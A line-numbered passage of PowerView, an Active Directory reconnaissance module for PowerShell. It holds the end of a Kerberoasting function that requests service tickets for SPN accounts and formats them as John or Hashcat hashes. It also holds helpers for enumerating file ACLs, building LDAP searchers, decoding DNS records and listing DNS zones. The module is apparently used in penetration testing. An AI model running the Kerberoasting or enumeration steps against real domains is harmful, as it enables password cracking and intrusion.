2851 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2852 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
2853 [String[]]
2854 $Identity,
2855
2856 [ValidateNotNullOrEmpty()]
2857 [String]
2858 $Domain,
2859
2860 [ValidateNotNullOrEmpty()]
2861 [Alias('Filter')]
2862 [String]
2863 $LDAPFilter,
2864
2865 [ValidateNotNullOrEmpty()]
2866 [Alias('ADSPath')]
2867 [String]
2868 $SearchBase,
2869
2870 [ValidateNotNullOrEmpty()]
2871 [Alias('DomainController')]
2872 [String]
2873 $Server,
2874
2875 [ValidateSet('Base', 'OneLevel', 'Subtree')]
2876 [String]
2877 $SearchScope = 'Subtree',
2878
2879 [ValidateRange(1, 10000)]
2880 [Int]
2881 $ResultPageSize = 200,
2882
2883 [ValidateRange(1, 10000)]
2884 [Int]
2885 $ServerTimeLimit,
2886
2887 [Switch]
2888 $Tombstone,
2889
2890 [ValidateSet('John', 'Hashcat')]
2891 [Alias('Format')]
2892 [String]
2893 $OutputFormat = 'John',
2894
2895 [Management.Automation.PSCredential]
2896 [Management.Automation.CredentialAttribute()]
2897 $Credential = [Management.Automation.PSCredential]::Empty
2898 )
2899
2900 BEGIN {
2901 $UserSearcherArguments = @{
2902 'SPN' = $True
2903 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
2904 }
2905 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
2906 if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
2907 if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
2908 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
2909 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
2910 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
2911 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
2912 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
2913 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
2914
2915 if ($PSBoundParameters['Credential']) {
2916 $LogonToken = Invoke-UserImpersonation -Credential $Credential
2917 }
2918 }
2919
2920 PROCESS {
2921 if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
2922 Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
2923 }
2924
2925 END {
2926 if ($LogonToken) {
2927 Invoke-RevertToSelf -TokenHandle $LogonToken
2928 }
2929 }
2930}
2931
2932
2933function Get-PathAcl {
2934<#
2935.SYNOPSIS
2936
2937Enumerates the ACL for a given file path.
2938
2939Author: Will Schroeder (@harmj0y)
2940License: BSD 3-Clause
2941Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
2942
2943.DESCRIPTION
2944
2945Enumerates the ACL for a specified file/folder path, and translates
2946the access rules for each entry into readable formats. If -Credential is passed,
2947Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
2948
2949.PARAMETER Path
2950
2951Specifies the local or remote path to enumerate the ACLs for.
2952
2953.PARAMETER Credential
2954
2955A [Management.Automation.PSCredential] object of alternate credentials
2956for connection to the target path.
2957
2958.EXAMPLE
2959
2960Get-PathAcl "\\SERVER\Share\"
2961
2962Returns ACLs for the given UNC share.
2963
2964.EXAMPLE
2965
2966gci .\test.txt | Get-PathAcl
2967
2968.EXAMPLE
2969
2970$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2971$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
2972Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
2973
2974.INPUTS
2975
2976String
2977
2978One of more paths to enumerate ACLs for.
2979
2980.OUTPUTS
2981
2982PowerView.FileACL
2983
2984A custom object with the full path and associated ACL entries.
2985
2986.LINK
2987
2988https://support.microsoft.com/en-us/kb/305144
2989#>
2990
2991 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
2992 [OutputType('PowerView.FileACL')]
2993 [CmdletBinding()]
2994 Param(
2995 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2996 [Alias('FullName')]
2997 [String[]]
2998 $Path,
2999
3000 [Management.Automation.PSCredential]
3001 [Management.Automation.CredentialAttribute()]
3002 $Credential = [Management.Automation.PSCredential]::Empty
3003 )
3004
3005 BEGIN {
3006
3007 function Convert-FileRight {
3008 # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
3009 [CmdletBinding()]
3010 Param(
3011 [Int]
3012 $FSR
3013 )
3014
3015 $AccessMask = @{
3016 [uint32]'0x80000000' = 'GenericRead'
3017 [uint32]'0x40000000' = 'GenericWrite'
3018 [uint32]'0x20000000' = 'GenericExecute'
3019 [uint32]'0x10000000' = 'GenericAll'
3020 [uint32]'0x02000000' = 'MaximumAllowed'
3021 [uint32]'0x01000000' = 'AccessSystemSecurity'
3022 [uint32]'0x00100000' = 'Synchronize'
3023 [uint32]'0x00080000' = 'WriteOwner'
3024 [uint32]'0x00040000' = 'WriteDAC'
3025 [uint32]'0x00020000' = 'ReadControl'
3026 [uint32]'0x00010000' = 'Delete'
3027 [uint32]'0x00000100' = 'WriteAttributes'
3028 [uint32]'0x00000080' = 'ReadAttributes'
3029 [uint32]'0x00000040' = 'DeleteChild'
3030 [uint32]'0x00000020' = 'Execute/Traverse'
3031 [uint32]'0x00000010' = 'WriteExtendedAttributes'
3032 [uint32]'0x00000008' = 'ReadExtendedAttributes'
3033 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
3034 [uint32]'0x00000002' = 'WriteData/AddFile'
3035 [uint32]'0x00000001' = 'ReadData/ListDirectory'
3036 }
3037
3038 $SimplePermissions = @{
3039 [uint32]'0x1f01ff' = 'FullControl'
3040 [uint32]'0x0301bf' = 'Modify'
3041 [uint32]'0x0200a9' = 'ReadAndExecute'
3042 [uint32]'0x02019f' = 'ReadAndWrite'
3043 [uint32]'0x020089' = 'Read'
3044 [uint32]'0x000116' = 'Write'
3045 }
3046
3047 $Permissions = @()
3048
3049 # get simple permission
3050 $Permissions += $SimplePermissions.Keys | ForEach-Object {
3051 if (($FSR -band $_) -eq $_) {
3052 $SimplePermissions[$_]
3053 $FSR = $FSR -band (-not $_)
3054 }
3055 }
3056
3057 # get remaining extended permissions
3058 $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
3059 ($Permissions | Where-Object {$_}) -join ','
3060 }
3061
3062 $ConvertArguments = @{}
3063 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
3064
3065 $MappedComputers = @{}
3066 }
3067
3068 PROCESS {
3069 ForEach ($TargetPath in $Path) {
3070 try {
3071 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
3072 $HostComputer = (New-Object System.Uri($TargetPath)).Host
3073 if (-not $MappedComputers[$HostComputer]) {
3074 # map IPC$ to this computer if it's not already
3075 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
3076 $MappedComputers[$HostComputer] = $True
3077 }
3078 }
3079
3080 $ACL = Get-Acl -Path $TargetPath
3081
3082 $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
3083 $SID = $_.IdentityReference.Value
3084 $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
3085
3086 $Out = New-Object PSObject
3087 $Out | Add-Member Noteproperty 'Path' $TargetPath
3088 $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
3089 $Out | Add-Member Noteproperty 'IdentityReference' $Name
3090 $Out | Add-Member Noteproperty 'IdentitySID' $SID
3091 $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
3092 $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
3093 $Out
3094 }
3095 }
3096 catch {
3097 Write-Verbose "[Get-PathAcl] error: $_"
3098 }
3099 }
3100 }
3101
3102 END {
3103 # remove the IPC$ mappings
3104 $MappedComputers.Keys | Remove-RemoteConnection
3105 }
3106}
3107
3108
3109function Convert-LDAPProperty {
3110<#
3111.SYNOPSIS
3112
3113Helper that converts specific LDAP property result fields and outputs
3114a custom psobject.
3115
3116Author: Will Schroeder (@harmj0y)
3117License: BSD 3-Clause
3118Required Dependencies: None
3119
3120.DESCRIPTION
3121
3122Converts a set of raw LDAP properties results from ADSI/LDAP searches
3123into a proper PSObject. Used by several of the Get-Domain* function.
3124
3125.PARAMETER Properties
3126
3127Properties object to extract out LDAP fields for display.
3128
3129.OUTPUTS
3130
3131System.Management.Automation.PSCustomObject
3132
3133A custom PSObject with LDAP hashtable properties translated.
3134#>
3135
3136 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3137 [OutputType('System.Management.Automation.PSCustomObject')]
3138 [CmdletBinding()]
3139 Param(
3140 [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
3141 [ValidateNotNullOrEmpty()]
3142 $Properties
3143 )
3144
3145 $ObjectProperties = @{}
3146
3147 $Properties.PropertyNames | ForEach-Object {
3148 if ($_ -ne 'adspath') {
3149 if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
3150 # convert all listed sids (i.e. if multiple are listed in sidHistory)
3151 $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
3152 }
3153 elseif ($_ -eq 'grouptype') {
3154 $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
3155 }
3156 elseif ($_ -eq 'samaccounttype') {
3157 $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
3158 }
3159 elseif ($_ -eq 'objectguid') {
3160 # convert the GUID to a string
3161 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
3162 }
3163 elseif ($_ -eq 'useraccountcontrol') {
3164 $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
3165 }
3166 elseif ($_ -eq 'ntsecuritydescriptor') {
3167 # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
3168 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
3169 if ($Descriptor.Owner) {
3170 $ObjectProperties['Owner'] = $Descriptor.Owner
3171 }
3172 if ($Descriptor.Group) {
3173 $ObjectProperties['Group'] = $Descriptor.Group
3174 }
3175 if ($Descriptor.DiscretionaryAcl) {
3176 $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
3177 }
3178 if ($Descriptor.SystemAcl) {
3179 $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
3180 }
3181 }
3182 elseif ($_ -eq 'accountexpires') {
3183 if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
3184 $ObjectProperties[$_] = "NEVER"
3185 }
3186 else {
3187 $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
3188 }
3189 }
3190 elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
3191 # convert timestamps
3192 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
3193 # if we have a System.__ComObject
3194 $Temp = $Properties[$_][0]
3195 [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3196 [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3197 $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
3198 }
3199 else {
3200 # otherwise just a string
3201 $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
3202 }
3203 }
3204 elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
3205 # try to convert misc com objects
3206 $Prop = $Properties[$_]
3207 try {
3208 $Temp = $Prop[$_][0]
3209 [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3210 [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3211 $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
3212 }
3213 catch {
3214 Write-Verbose "[Convert-LDAPProperty] error: $_"
3215 $ObjectProperties[$_] = $Prop[$_]
3216 }
3217 }
3218 elseif ($Properties[$_].count -eq 1) {
3219 $ObjectProperties[$_] = $Properties[$_][0]
3220 }
3221 else {
3222 $ObjectProperties[$_] = $Properties[$_]
3223 }
3224 }
3225 }
3226 try {
3227 New-Object -TypeName PSObject -Property $ObjectProperties
3228 }
3229 catch {
3230 Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
3231 }
3232}
3233
3234
3235########################################################
3236#
3237# Domain info functions below.
3238#
3239########################################################
3240
3241function Get-DomainSearcher {
3242<#
3243.SYNOPSIS
3244
3245Helper used by various functions that builds a custom AD searcher object.
3246
3247Author: Will Schroeder (@harmj0y)
3248License: BSD 3-Clause
3249Required Dependencies: Get-Domain
3250
3251.DESCRIPTION
3252
3253Takes a given domain and a number of customizations and returns a
3254System.DirectoryServices.DirectorySearcher object. This function is used
3255heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
3256
3257.PARAMETER Domain
3258
3259Specifies the domain to use for the query, defaults to the current domain.
3260
3261.PARAMETER LDAPFilter
3262
3263Specifies an LDAP query string that is used to filter Active Directory objects.
3264
3265.PARAMETER Properties
3266
3267Specifies the properties of the output object to retrieve from the server.
3268
3269.PARAMETER SearchBase
3270
3271The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3272Useful for OU queries.
3273
3274.PARAMETER SearchBasePrefix
3275
3276Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
3277
3278.PARAMETER Server
3279
3280Specifies an Active Directory server (domain controller) to bind to for the search.
3281
3282.PARAMETER SearchScope
3283
3284Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
3285
3286.PARAMETER ResultPageSize
3287
3288Specifies the PageSize to set for the LDAP searcher object.
3289
3290.PARAMETER ResultPageSize
3291
3292Specifies the PageSize to set for the LDAP searcher object.
3293
3294.PARAMETER ServerTimeLimit
3295
3296Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
3297
3298.PARAMETER SecurityMasks
3299
3300Specifies an option for examining security information of a directory object.
3301One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
3302
3303.PARAMETER Tombstone
3304
3305Switch. Specifies that the searcher should also return deleted/tombstoned objects.
3306
3307.PARAMETER Credential
3308
3309A [Management.Automation.PSCredential] object of alternate credentials
3310for connection to the target domain.
3311
3312.EXAMPLE
3313
3314Get-DomainSearcher -Domain testlab.local
3315
3316Return a searcher for all objects in testlab.local.
3317
3318.EXAMPLE
3319
3320Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
3321
3322Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
3323
3324.EXAMPLE
3325
3326Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
3327
3328Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
3329
3330.OUTPUTS
3331
3332System.DirectoryServices.DirectorySearcher
3333#>
3334
3335 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3336 [OutputType('System.DirectoryServices.DirectorySearcher')]
3337 [CmdletBinding()]
3338 Param(
3339 [Parameter(ValueFromPipeline = $True)]
3340 [ValidateNotNullOrEmpty()]
3341 [String]
3342 $Domain,
3343
3344 [ValidateNotNullOrEmpty()]
3345 [Alias('Filter')]
3346 [String]
3347 $LDAPFilter,
3348
3349 [ValidateNotNullOrEmpty()]
3350 [String[]]
3351 $Properties,
3352
3353 [ValidateNotNullOrEmpty()]
3354 [Alias('ADSPath')]
3355 [String]
3356 $SearchBase,
3357
3358 [ValidateNotNullOrEmpty()]
3359 [String]
3360 $SearchBasePrefix,
3361
3362 [ValidateNotNullOrEmpty()]
3363 [Alias('DomainController')]
3364 [String]
3365 $Server,
3366
3367 [ValidateSet('Base', 'OneLevel', 'Subtree')]
3368 [String]
3369 $SearchScope = 'Subtree',
3370
3371 [ValidateRange(1, 10000)]
3372 [Int]
3373 $ResultPageSize = 200,
3374
3375 [ValidateRange(1, 10000)]
3376 [Int]
3377 $ServerTimeLimit = 120,
3378
3379 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
3380 [String]
3381 $SecurityMasks,
3382
3383 [Switch]
3384 $Tombstone,
3385
3386 [Management.Automation.PSCredential]
3387 [Management.Automation.CredentialAttribute()]
3388 $Credential = [Management.Automation.PSCredential]::Empty
3389 )
3390
3391 PROCESS {
3392 if ($PSBoundParameters['Domain']) {
3393 $TargetDomain = $Domain
3394 }
3395 else {
3396 # if not -Domain is specified, retrieve the current domain name
3397 if ($PSBoundParameters['Credential']) {
3398 $DomainObject = Get-Domain -Credential $Credential
3399 }
3400 else {
3401 $DomainObject = Get-Domain
3402 }
3403 $TargetDomain = $DomainObject.Name
3404 }
3405
3406 if (-not $PSBoundParameters['Server']) {
3407 # if there's not a specified server to bind to, try to pull the current domain PDC
3408 try {
3409 if ($DomainObject) {
3410 $BindServer = $DomainObject.PdcRoleOwner.Name
3411 }
3412 elseif ($PSBoundParameters['Credential']) {
3413 $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
3414 }
3415 else {
3416 $BindServer = ((Get-Domain).PdcRoleOwner).Name
3417 }
3418 }
3419 catch {
3420 throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
3421 }
3422 }
3423 else {
3424 $BindServer = $Server
3425 }
3426
3427 $SearchString = 'LDAP://'
3428
3429 if ($BindServer -and ($BindServer.Trim() -ne '')) {
3430 $SearchString += $BindServer
3431 if ($TargetDomain) {
3432 $SearchString += '/'
3433 }
3434 }
3435
3436 if ($PSBoundParameters['SearchBasePrefix']) {
3437 $SearchString += $SearchBasePrefix + ','
3438 }
3439
3440 if ($PSBoundParameters['SearchBase']) {
3441 if ($SearchBase -Match '^GC://') {
3442 # if we're searching the global catalog, get the path in the right format
3443 $DN = $SearchBase.ToUpper().Trim('/')
3444 $SearchString = ''
3445 }
3446 else {
3447 if ($SearchBase -match '^LDAP://') {
3448 if ($SearchBase -match "LDAP://.+/.+") {
3449 $SearchString = ''
3450 $DN = $SearchBase
3451 }
3452 else {
3453 $DN = $SearchBase.SubString(7)
3454 }
3455 }
3456 else {
3457 $DN = $SearchBase
3458 }
3459 }
3460 }
3461 else {
3462 # transform the target domain name into a distinguishedName if an ADS search base is not specified
3463 if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
3464 $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
3465 }
3466 }
3467
3468 $SearchString += $DN
3469 Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
3470
3471 if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
3472 Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
3473 # bind to the inital search object using alternate credentials
3474 $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
3475 $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
3476 }
3477 else {
3478 # bind to the inital object using the current credentials
3479 $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
3480 }
3481
3482 $Searcher.PageSize = $ResultPageSize
3483 $Searcher.SearchScope = $SearchScope
3484 $Searcher.CacheResults = $False
3485 $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
3486
3487 if ($PSBoundParameters['ServerTimeLimit']) {
3488 $Searcher.ServerTimeLimit = $ServerTimeLimit
3489 }
3490
3491 if ($PSBoundParameters['Tombstone']) {
3492 $Searcher.Tombstone = $True
3493 }
3494
3495 if ($PSBoundParameters['LDAPFilter']) {
3496 $Searcher.filter = $LDAPFilter
3497 }
3498
3499 if ($PSBoundParameters['SecurityMasks']) {
3500 $Searcher.SecurityMasks = Switch ($SecurityMasks) {
3501 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
3502 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
3503 'None' { [System.DirectoryServices.SecurityMasks]::None }
3504 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
3505 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
3506 }
3507 }
3508
3509 if ($PSBoundParameters['Properties']) {
3510 # handle an array of properties to load w/ the possibility of comma-separated strings
3511 $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
3512 $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
3513 }
3514
3515 $Searcher
3516 }
3517}
3518
3519
3520function Convert-DNSRecord {
3521<#
3522.SYNOPSIS
3523
3524Helpers that decodes a binary DNS record blob.
3525
3526Author: Michael B. Smith, Will Schroeder (@harmj0y)
3527License: BSD 3-Clause
3528Required Dependencies: None
3529
3530.DESCRIPTION
3531
3532Decodes a binary blob representing an Active Directory DNS entry.
3533Used by Get-DomainDNSRecord.
3534
3535Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
3536
3537.PARAMETER DNSRecord
3538
3539A byte array representing the DNS record.
3540
3541.OUTPUTS
3542
3543System.Management.Automation.PSCustomObject
3544
3545Outputs custom PSObjects with detailed information about the DNS record entry.
3546
3547.LINK
3548
3549https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
3550#>
3551
3552 [OutputType('System.Management.Automation.PSCustomObject')]
3553 [CmdletBinding()]
3554 Param(
3555 [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
3556 [Byte[]]
3557 $DNSRecord
3558 )
3559
3560 BEGIN {
3561 function Get-Name {
3562 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
3563 [CmdletBinding()]
3564 Param(
3565 [Byte[]]
3566 $Raw
3567 )
3568
3569 [Int]$Length = $Raw[0]
3570 [Int]$Segments = $Raw[1]
3571 [Int]$Index = 2
3572 [String]$Name = ''
3573
3574 while ($Segments-- -gt 0)
3575 {
3576 [Int]$SegmentLength = $Raw[$Index++]
3577 while ($SegmentLength-- -gt 0) {
3578 $Name += [Char]$Raw[$Index++]
3579 }
3580 $Name += "."
3581 }
3582 $Name
3583 }
3584 }
3585
3586 PROCESS {
3587 # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
3588 $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
3589 $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
3590
3591 $TTLRaw = $DNSRecord[12..15]
3592
3593 # reverse for big endian
3594 $Null = [array]::Reverse($TTLRaw)
3595 $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
3596
3597 $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
3598 if ($Age -ne 0) {
3599 $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
3600 }
3601 else {
3602 $TimeStamp = '[static]'
3603 }
3604
3605 $DNSRecordObject = New-Object PSObject
3606
3607 if ($RDataType -eq 1) {
3608 $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
3609 $Data = $IP
3610 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
3611 }
3612
3613 elseif ($RDataType -eq 2) {
3614 $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
3615 $Data = $NSName
3616 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
3617 }
3618
3619 elseif ($RDataType -eq 5) {
3620 $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
3621 $Data = $Alias
3622 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
3623 }
3624
3625 elseif ($RDataType -eq 6) {
3626 # TODO: how to implement properly? nested object?
3627 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3628 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
3629 }
3630
3631 elseif ($RDataType -eq 12) {
3632 $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
3633 $Data = $Ptr
3634 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
3635 }
3636
3637 elseif ($RDataType -eq 13) {
3638 # TODO: how to implement properly? nested object?
3639 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3640 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
3641 }
3642
3643 elseif ($RDataType -eq 15) {
3644 # TODO: how to implement properly? nested object?
3645 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3646 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
3647 }
3648
3649 elseif ($RDataType -eq 16) {
3650 [string]$TXT = ''
3651 [int]$SegmentLength = $DNSRecord[24]
3652 $Index = 25
3653
3654 while ($SegmentLength-- -gt 0) {
3655 $TXT += [char]$DNSRecord[$index++]
3656 }
3657
3658 $Data = $TXT
3659 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
3660 }
3661
3662 elseif ($RDataType -eq 28) {
3663 # TODO: how to implement properly? nested object?
3664 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3665 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
3666 }
3667
3668 elseif ($RDataType -eq 33) {
3669 # TODO: how to implement properly? nested object?
3670 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3671 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
3672 }
3673
3674 else {
3675 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3676 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
3677 }
3678
3679 $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
3680 $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
3681 $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
3682 $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
3683 $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
3684 $DNSRecordObject
3685 }
3686}
3687
3688
3689function Get-DomainDNSZone {
3690<#
3691.SYNOPSIS
3692
3693Enumerates the Active Directory DNS zones for a given domain.
3694
3695Author: Will Schroeder (@harmj0y)
3696License: BSD 3-Clause
3697Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
3698
3699.PARAMETER Domain
3700
3701The domain to query for zones, defaults to the current domain.
3702
3703.PARAMETER Server
3704
3705Specifies an Active Directory server (domain controller) to bind to for the search.
3706
3707.PARAMETER Properties
3708
3709Specifies the properties of the output object to retrieve from the server.
3710
3711.PARAMETER ResultPageSize
3712
3713Specifies the PageSize to set for the LDAP searcher object.
3714
3715.PARAMETER ServerTimeLimit
3716
3717Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
3718
3719.PARAMETER FindOne
3720
3721Only return one result object.
3722
3723.PARAMETER Credential
3724
3725A [Management.Automation.PSCredential] object of alternate credentials
3726for connection to the target domain.
3727
3728.EXAMPLE
3729
3730Get-DomainDNSZone
3731
3732Retrieves the DNS zones for the current domain.
3733
3734.EXAMPLE
3735
3736Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
3737
3738Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.
3739
3740.OUTPUTS
3741
3742PowerView.DNSZone
3743
3744Outputs custom PSObjects with detailed information about the DNS zone.
3745#>
3746
3747 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3748 [OutputType('PowerView.DNSZone')]
3749 [CmdletBinding()]
3750 Param(
3751 [Parameter(Position = 0, ValueFromPipeline = $True)]
3752 [ValidateNotNullOrEmpty()]
3753 [String]
3754 $Domain,
3755
3756 [ValidateNotNullOrEmpty()]
3757 [Alias('DomainController')]
3758 [String]
3759 $Server,
3760
3761 [ValidateNotNullOrEmpty()]
3762 [String[]]
3763 $Properties,
3764
3765 [ValidateRange(1, 10000)]
3766 [Int]
3767 $ResultPageSize = 200,
3768
3769 [ValidateRange(1, 10000)]
3770 [Int]
3771 $ServerTimeLimit,
3772
3773 [Alias('ReturnOne')]
3774 [Switch]
3775 $FindOne,
3776
3777 [Management.Automation.PSCredential]
3778 [Management.Automation.CredentialAttribute()]
3779 $Credential = [Management.Automation.PSCredential]::Empty
3780 )
3781
3782 PROCESS {
3783 $SearcherArguments = @{
3784 'LDAPFilter' = '(objectClass=dnsZone)'
3785 }
